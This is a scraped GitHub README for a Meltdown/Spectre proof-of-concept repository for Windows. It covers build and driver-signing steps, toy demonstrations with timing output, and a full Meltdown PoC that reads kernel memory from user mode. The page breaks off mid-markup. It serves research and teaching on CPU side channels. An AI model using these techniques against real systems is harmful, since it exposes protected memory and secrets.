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GitHub - msmania/microarchitectural-attack: Meltdown/Spectre PoC for Windows
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2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path> </svg> </a></li> </ul> </div> </div> </div> </li> <li class="HeaderMenu-item position-relative flex-wrap flex-justify-between flex-items-center d-block d-lg-flex flex-lg-nowrap flex-lg-items-center js-details-container js-header-menu-item"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon 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0 1 1.06 0Z"></path> </svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 pt-2 pt-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 pb-2 pb-lg-4 px-lg-4"> <div class="HeaderMenu-column"> <div class="border-bottom pb-3 pb-lg-0 pb-lg-3 mb-3 mb-lg-0 mb-lg-3"> <ul class="list-style-none f5" > <li> <a class="HeaderMenu-dropdown-link d-block no-underline position-relative py-2 Link--secondary d-flex flex-items-center Link--has-description" data-analytics-event="{"location":"navbar","action":"github_sponsors","context":"open_source","tag":"link","label":"github_sponsors_link_open_source_navbar"}" href="/sponsors"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> </a></li> </ul> </div> <div class="border-bottom pb-3 pb-lg-0 pb-lg-3 mb-3 mb-lg-0 mb-lg-3"> <ul class="list-style-none f5" > <li> <a class="HeaderMenu-dropdown-link d-block no-underline position-relative py-2 Link--secondary d-flex flex-items-center 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tabindex=\"-1\" class=\"heading-element\" dir=\"auto\"\u003eMeltdown/Spectre Proof-of-Concept for Windows\u003c/h1\u003e\u003ca id=\"user-content-meltdownspectre-proof-of-concept-for-windows\" class=\"anchor\" aria-label=\"Permalink: Meltdown/Spectre Proof-of-Concept for Windows\" href=\"#meltdownspectre-proof-of-concept-for-windows\"\u003e\u003csvg class=\"octicon octicon-link\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" height=\"16\" aria-hidden=\"true\"\u003e\u003cpath d=\"m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z\"\u003e\u003c/path\u003e\u003c/svg\u003e\u003c/a\u003e\u003c/div\u003e\n\u003cp dir=\"auto\"\u003eThis repository contains PoC codes to demonstrate the famous Meltdown/Spectre vulnerability. Hopefully this becomes a good start to explore the wonderful world of microarchitectural attacks for you!\u003c/p\u003e\n\u003cdiv class=\"markdown-heading\" dir=\"auto\"\u003e\u003ch2 tabindex=\"-1\" class=\"heading-element\" dir=\"auto\"\u003eSoftware requirements to build\u003c/h2\u003e\u003ca id=\"user-content-software-requirements-to-build\" class=\"anchor\" aria-label=\"Permalink: Software requirements to build\" href=\"#software-requirements-to-build\"\u003e\u003csvg class=\"octicon octicon-link\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" height=\"16\" aria-hidden=\"true\"\u003e\u003cpath d=\"m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z\"\u003e\u003c/path\u003e\u003c/svg\u003e\u003c/a\u003e\u003c/div\u003e\n\u003cp dir=\"auto\"\u003eDon't worry, all free 😉.\u003c/p\u003e\n\u003cul dir=\"auto\"\u003e\n\u003cli\u003eVisual Studio Community 2017\u003cbr\u003e\u003ca href=\"https://www.visualstudio.com/downloads/\" rel=\"nofollow\"\u003ehttps://www.visualstudio.com/downloads/\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWindows 10 SDK\u003cbr\u003e\u003ca href=\"https://developer.microsoft.com/en-us/windows/downloads/windows-10-sdk\" rel=\"nofollow\"\u003ehttps://developer.microsoft.com/en-us/windows/downloads/windows-10-sdk\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWDK for Windows 10\u003cbr\u003e\u003ca href=\"https://developer.microsoft.com/en-us/windows/hardware/download-kits-windows-hardware-development\" rel=\"nofollow\"\u003ehttps://developer.microsoft.com/en-us/windows/hardware/download-kits-windows-hardware-development\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eThe Netwide Assembler\u003cbr\u003e\u003ca href=\"http://www.nasm.us/\" rel=\"nofollow\"\u003ehttp://www.nasm.us/\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"markdown-heading\" dir=\"auto\"\u003e\u003ch2 tabindex=\"-1\" class=\"heading-element\" dir=\"auto\"\u003eHow to build\u003c/h2\u003e\u003ca id=\"user-content-how-to-build\" class=\"anchor\" aria-label=\"Permalink: How to build\" href=\"#how-to-build\"\u003e\u003csvg class=\"octicon octicon-link\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" height=\"16\" aria-hidden=\"true\"\u003e\u003cpath d=\"m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z\"\u003e\u003c/path\u003e\u003c/svg\u003e\u003c/a\u003e\u003c/div\u003e\n\u003cdiv class=\"markdown-heading\" dir=\"auto\"\u003e\u003ch3 tabindex=\"-1\" class=\"heading-element\" dir=\"auto\"\u003e1. Configure NASM\u003c/h3\u003e\u003ca id=\"user-content-1-configure-nasm\" class=\"anchor\" aria-label=\"Permalink: 1. Configure NASM\" href=\"#1-configure-nasm\"\u003e\u003csvg class=\"octicon octicon-link\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" height=\"16\" aria-hidden=\"true\"\u003e\u003cpath d=\"m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z\"\u003e\u003c/path\u003e\u003c/svg\u003e\u003c/a\u003e\u003c/div\u003e\n\u003cp dir=\"auto\"\u003eUpdate \u003ccode\u003eASM\u003c/code\u003e in \u003ccode\u003ecommon.inc\u003c/code\u003e with the path to nasm.exe\u003c/p\u003e\n\u003cdiv class=\"markdown-heading\" dir=\"auto\"\u003e\u003ch3 tabindex=\"-1\" class=\"heading-element\" dir=\"auto\"\u003e2. Prepare a codesign certificate to sign a driver (for Meltdown Full)\u003c/h3\u003e\u003ca id=\"user-content-2-prepare-a-codesign-certificate-to-sign-a-driver-for-meltdown-full\" class=\"anchor\" aria-label=\"Permalink: 2. Prepare a codesign certificate to sign a driver (for Meltdown Full)\" href=\"#2-prepare-a-codesign-certificate-to-sign-a-driver-for-meltdown-full\"\u003e\u003csvg class=\"octicon octicon-link\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" height=\"16\" aria-hidden=\"true\"\u003e\u003cpath d=\"m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z\"\u003e\u003c/path\u003e\u003c/svg\u003e\u003c/a\u003e\u003c/div\u003e\n\u003cp dir=\"auto\"\u003eMeltdown Full PoC needs help from a driver, that is included in this repo. In the current Windows, drivers need to be signed with a codesign certificate. So you need to create a self-signed or CA-signed certificate. If you are a millionaire, you may have a \u003ca href=\"https://docs.microsoft.com/en-us/windows-hardware/drivers/dashboard/get-a-code-signing-certificate\" rel=\"nofollow\"\u003eWindows EV signing cert\u003c/a\u003e.\u003c/p\u003e\n\u003cp dir=\"auto\"\u003e\u003ccode\u003eMakefile\u003c/code\u003e in the repo already has a step to sign a driver file. What you need to do is:\u003c/p\u003e\n\u003col dir=\"auto\"\u003e\n\u003cli\u003e\n\u003cp dir=\"auto\"\u003ePrepare a certificate having 'codeSigning' (1.3.6.1.5.5.7.3.3) in the extended key usage section\u003cbr\u003eOpenSSL is always your friend. If you prefer Microsoft'ish way, \u003ca href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/jj835832.aspx\" rel=\"nofollow\"\u003ethis\u003c/a\u003e would be useful.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp dir=\"auto\"\u003eOn your build machine, install your certificate to the 'My' Certificate store:\u003cbr\u003e\u003ccode\u003ecertutil -add My \u0026lt;path_to_pfx\u0026gt;\u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp dir=\"auto\"\u003eUpdate \u003ccode\u003eCODESIGN_SHA1\u003c/code\u003e in \u003ccode\u003e03_meltdown_full/Makefile\u003c/code\u003e with SHA1 hash of your certificate.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp dir=\"auto\"\u003eOn you test machine to run the driver on, enable testsigning:\u003cbr\u003e\u003ccode\u003ebcdedit /set testsigning on\u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp dir=\"auto\"\u003eReboot the test machine to enable the testsigning mode\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"markdown-heading\" dir=\"auto\"\u003e\u003ch3 tabindex=\"-1\" class=\"heading-element\" dir=\"auto\"\u003e3. Build\u003c/h3\u003e\u003ca id=\"user-content-3-build\" class=\"anchor\" aria-label=\"Permalink: 3. Build\" href=\"#3-build\"\u003e\u003csvg class=\"octicon octicon-link\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" height=\"16\" aria-hidden=\"true\"\u003e\u003cpath d=\"m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z\"\u003e\u003c/path\u003e\u003c/svg\u003e\u003c/a\u003e\u003c/div\u003e\n\u003cp dir=\"auto\"\u003eLaunch \"x64 Native Tools Command Prompt for VS 2017\" and run \u003ccode\u003eNMAKE\u003c/code\u003e on the root of this repo. Binaries will be generated under the subdirectory \"bin/amd64\".\u003c/p\u003e\n\u003cp dir=\"auto\"\u003eThe current code supports x64 only. 32bit compilation will fail.\u003c/p\u003e\n\u003cdiv class=\"markdown-heading\" dir=\"auto\"\u003e\u003ch2 tabindex=\"-1\" class=\"heading-element\" dir=\"auto\"\u003eHow to run\u003c/h2\u003e\u003ca id=\"user-content-how-to-run\" class=\"anchor\" aria-label=\"Permalink: How to run\" href=\"#how-to-run\"\u003e\u003csvg class=\"octicon octicon-link\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" height=\"16\" aria-hidden=\"true\"\u003e\u003cpath d=\"m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z\"\u003e\u003c/path\u003e\u003c/svg\u003e\u003c/a\u003e\u003c/div\u003e\n\u003cdiv class=\"markdown-heading\" dir=\"auto\"\u003e\u003ch3 tabindex=\"-1\" class=\"heading-element\" dir=\"auto\"\u003ePoC #1: Toy example of Meltdown\u003c/h3\u003e\u003ca id=\"user-content-poc-1-toy-example-of-meltdown\" class=\"anchor\" aria-label=\"Permalink: PoC #1: Toy example of Meltdown\" href=\"#poc-1-toy-example-of-meltdown\"\u003e\u003csvg class=\"octicon octicon-link\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" height=\"16\" aria-hidden=\"true\"\u003e\u003cpath d=\"m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z\"\u003e\u003c/path\u003e\u003c/svg\u003e\u003c/a\u003e\u003c/div\u003e\n\u003cp dir=\"auto\"\u003eThis PoC demonstrates the toy example of Meltdown described in the \u003ca href=\"https://arxiv.org/abs/1801.01207\" rel=\"nofollow\"\u003eMeltdown paper\u003c/a\u003e. The program executes an instruction that throws Divide-by-zero exception. However, CPU speculatively runs instructions that are placed after the division and that behavior changes CPU's micro-architectural state. Using Flush+Reload technique, the program can identify a value that is loaded from memory during out-of-order execution.\u003c/p\u003e\n\u003cdiv class=\"markdown-heading\" dir=\"auto\"\u003e\u003ch4 tabindex=\"-1\" class=\"heading-element\" dir=\"auto\"\u003eRun \u0026amp; Output\u003c/h4\u003e\u003ca id=\"user-content-run--output\" class=\"anchor\" aria-label=\"Permalink: Run \u0026amp; Output\" href=\"#run--output\"\u003e\u003csvg class=\"octicon octicon-link\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" height=\"16\" aria-hidden=\"true\"\u003e\u003cpath d=\"m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z\"\u003e\u003c/path\u003e\u003c/svg\u003e\u003c/a\u003e\u003c/div\u003e\n\u003cp dir=\"auto\"\u003eRun \u003ccode\u003etoy.exe\u003c/code\u003e. The output means how many cycles are consumed to read each of 256 probe lines. In the below example, obviously loading the index 0x42 is much faster than the others. This is the micro-architectural change caused by out-of-order execution.\u003c/p\u003e\n\u003cdiv class=\"snippet-clipboard-content notranslate position-relative overflow-auto\" data-snippet-clipboard-copy-content=\"\u0026gt; bin\\amd64\\toy.exe\ntrial#118: guess=42 (score=72)\n 258 261 264 264 225 228 231 228 225 228 231 225 264 294 255 267\n 258 261 261 261 264 264 228 228 240 258 264 264 267 267 264 261\n 261 261 264 258 261 258 264 264 225 222 222 231 231 231 258 261\n 264 261 255 261 264 264 261 264 258 258 264 261 255 258 255 255\n 258 264 72 261 258 264 261 261 258 264 258 264 264 261 261 258\n 264 222 225 228 228 228 228 225 231 267 258 264 255 255 261 255\n 261 261 258 258 261 255 261 255 264 258 258 258 261 261 261 258\n..(snip)..\"\u003e\u003cpre class=\"notranslate\"\u003e\u003ccode\u003e\u0026gt; bin\\amd64\\toy.exe\ntrial#118: guess=42 (score=72)\n 258 261 264 264 225 228 231 228 225 228 231 225 264 294 255 267\n 258 261 261 261 264 264 228 228 240 258 264 264 267 267 264 261\n 261 261 264 258 261 258 264 264 225 222 222 231 231 231 258 261\n 264 261 255 261 264 264 261 264 258 258 264 261 255 258 255 255\n 258 264 72 261 258 264 261 261 258 264 258 264 264 261 261 258\n 264 222 225 228 228 228 228 225 231 267 258 264 255 255 261 255\n 261 261 258 258 261 255 261 255 264 258 258 258 261 261 261 258\n..(snip)..\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cdiv class=\"markdown-heading\" dir=\"auto\"\u003e\u003ch3 tabindex=\"-1\" class=\"heading-element\" dir=\"auto\"\u003ePoC #2: Toy example of Spectre\u003c/h3\u003e\u003ca id=\"user-content-poc-2-toy-example-of-spectre\" class=\"anchor\" aria-label=\"Permalink: PoC #2: Toy example of Spectre\" href=\"#poc-2-toy-example-of-spectre\"\u003e\u003csvg class=\"octicon octicon-link\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" height=\"16\" aria-hidden=\"true\"\u003e\u003cpath d=\"m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z\"\u003e\u003c/path\u003e\u003c/svg\u003e\u003c/a\u003e\u003c/div\u003e\n\u003cp dir=\"auto\"\u003eThis PoC demonstrates two variants presented in the \u003ca href=\"https://arxiv.org/abs/1801.01203\" rel=\"nofollow\"\u003eSpectre paper\u003c/a\u003e: '4. Exploiting Conditional Branch Misprediction' and '5. Poisoning Indirect Branches'.\u003c/p\u003e\n\u003cp dir=\"auto\"\u003eThe first variant 'Exploiting Conditional Branch Misprediction' proves that CPU predicts a condition based on the previous results, and runs a branch speculatively when the result of that condition is still uncertain. The paper also includes the example implementation of this variant in C as Appendix A. I could simplify that example a lot by using assembly language.\u003c/p\u003e\n\u003cp dir=\"auto\"\u003eThe second variant 'Poisoning Indirect Branches' proves that CPU predicts the destination address of an indirect jump instruction based on the previous results. This PoC uses \u003ccode\u003ecall [rax]\u003c/code\u003e to demonstrate the indirect jump. You can observe the processor speculatively runs the code at the previous jump destination while fetching a real destination from the address stored in the register \u003ccode\u003erax\u003c/code\u003e.\u003c/p\u003e\n\u003cp dir=\"auto\"\u003eIn both variants, an attacker can \u003cem\u003etrain\u003c/em\u003e the branch predictor to cause the processor to mispredict a branch to the address which the attacker wants to run.\u003c/p\u003e\n\u003cdiv class=\"markdown-heading\" dir=\"auto\"\u003e\u003ch4 tabindex=\"-1\" class=\"heading-element\" dir=\"auto\"\u003eRun \u0026amp; Output\u003c/h4\u003e\u003ca id=\"user-content-run--output-1\" class=\"anchor\" aria-label=\"Permalink: Run \u0026amp; Output\" href=\"#run--output-1\"\u003e\u003csvg class=\"octicon octicon-link\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" height=\"16\" aria-hidden=\"true\"\u003e\u003cpath d=\"m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z\"\u003e\u003c/path\u003e\u003c/svg\u003e\u003c/a\u003e\u003c/div\u003e\n\u003cp dir=\"auto\"\u003eRun \u003ccode\u003ebranch.exe --variant1\u003c/code\u003e for Conditional Branch Misprediction or \u003ccode\u003ebranch.exe --variant2\u003c/code\u003e for Poisoning Indirect Branches. The output is the same as Meltdown's toy example.\u003c/p\u003e\n\u003cdiv class=\"snippet-clipboard-content notranslate position-relative overflow-auto\" data-snippet-clipboard-copy-content=\"\u0026gt; bin\\amd64\\branch.exe --variant1\ntrial#0: guess='A' (score=78)\n 27 267 264 261 291 330 264 297 258 261 255 255 300 222 225 294\n 264 264 258 297 291 264 303 264 261 261 297 228 225 303 261 303\n 225 330 267 258 300 297 303 297 270 264 330 228 303 258 258 264\n 264 258 297 261 258 261 330 258 330 261 225 300 261 303 261 261\n 264 78 318 225 228 300 261 261 258 300 228 249 297 300 261 303\n 258 264 300 300 228 267 264 297 261 300 231 300 303 258 333 294\n 258 264 294 225 297 300 297 300 261 261 261 261 273 261 300 324\n..(snip)..\"\u003e\u003cpre class=\"notranslate\"\u003e\u003ccode\u003e\u0026gt; bin\\amd64\\branch.exe --variant1\ntrial#0: guess='A' (score=78)\n 27 267 264 261 291 330 264 297 258 261 255 255 300 222 225 294\n 264 264 258 297 291 264 303 264 261 261 297 228 225 303 261 303\n 225 330 267 258 300 297 303 297 270 264 330 228 303 258 258 264\n 264 258 297 261 258 261 330 258 330 261 225 300 261 303 261 261\n 264 78 318 225 228 300 261 261 258 300 228 249 297 300 261 303\n 258 264 300 300 228 267 264 297 261 300 231 300 303 258 333 294\n 258 264 294 225 297 300 297 300 261 261 261 261 273 261 300 324\n..(snip)..\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cdiv class=\"markdown-heading\" dir=\"auto\"\u003e\u003ch3 tabindex=\"-1\" class=\"heading-element\" dir=\"auto\"\u003ePoC #3: Full Meltdown\u003c/h3\u003e\u003ca id=\"user-content-poc-3-full-meltdown\" class=\"anchor\" aria-label=\"Permalink: PoC #3: Full Meltdown\" href=\"#poc-3-full-meltdown\"\u003e\u003csvg class=\"octicon octicon-link\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" height=\"16\" aria-hidden=\"true\"\u003e\u003cpath d=\"m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z\"\u003e\u003c/path\u003e\u003c/svg\u003e\u003c/a\u003e\u003c/div\u003e\n\u003cp dir=\"auto\"\u003eThis PoC demonstrates a full Meltdown scenario on Windows i.e. reading kernel memory from an unprivileged user-mode process.\u003c/p\u003e\n\u003cp dir=\"auto\"\u003e\u003ca href=\"https://github.com/IAIK/meltdown\"\u003eIAIK's Meltdown PoC\u003c/a\u003e tries to read data at the direct physical map region, but Windows kernel does not have such a region in kernel that is always mapped into the physical memory. Someone wrote a \u003ca href=\"https://github.com/stormctf/Meltdown-PoC-Windows\"\u003ePoC for Windows\u003c/a\u003e that is trying to read data at \u0026lt;Imagebase of NT kernel\u0026gt;+0x1000, but this code did not reproduce Meltdown on any of my environments.\u003c/p\u003e\n\u003cp dir=\"auto\"\u003eFor the demo purpose, I wrote a kernel driver to allocate some bytes in the non-paged pool. Moreover, to make Meltdown work, I needed to implement a couple of more tricks, that I'll write up somewhere later.\u003c/p\u003e\n\u003cdiv class=\"markdown-heading\" dir=\"auto\"\u003e\u003ch4 tabindex=\"-1\" class=\"heading-element\" dir=\"auto\"\u003eRun \u0026amp; Output\u003c/h4\u003e\u003ca id=\"user-content-run--output-2\" class=\"anchor\" aria-label=\"Permalink: Run \u0026amp; Output\" href=\"#run--output-2\"\u003e\u003csvg class=\"octicon octicon-link\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" height=\"16\" aria-hidden=\"true\"\u003e\u003cpath d=\"m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 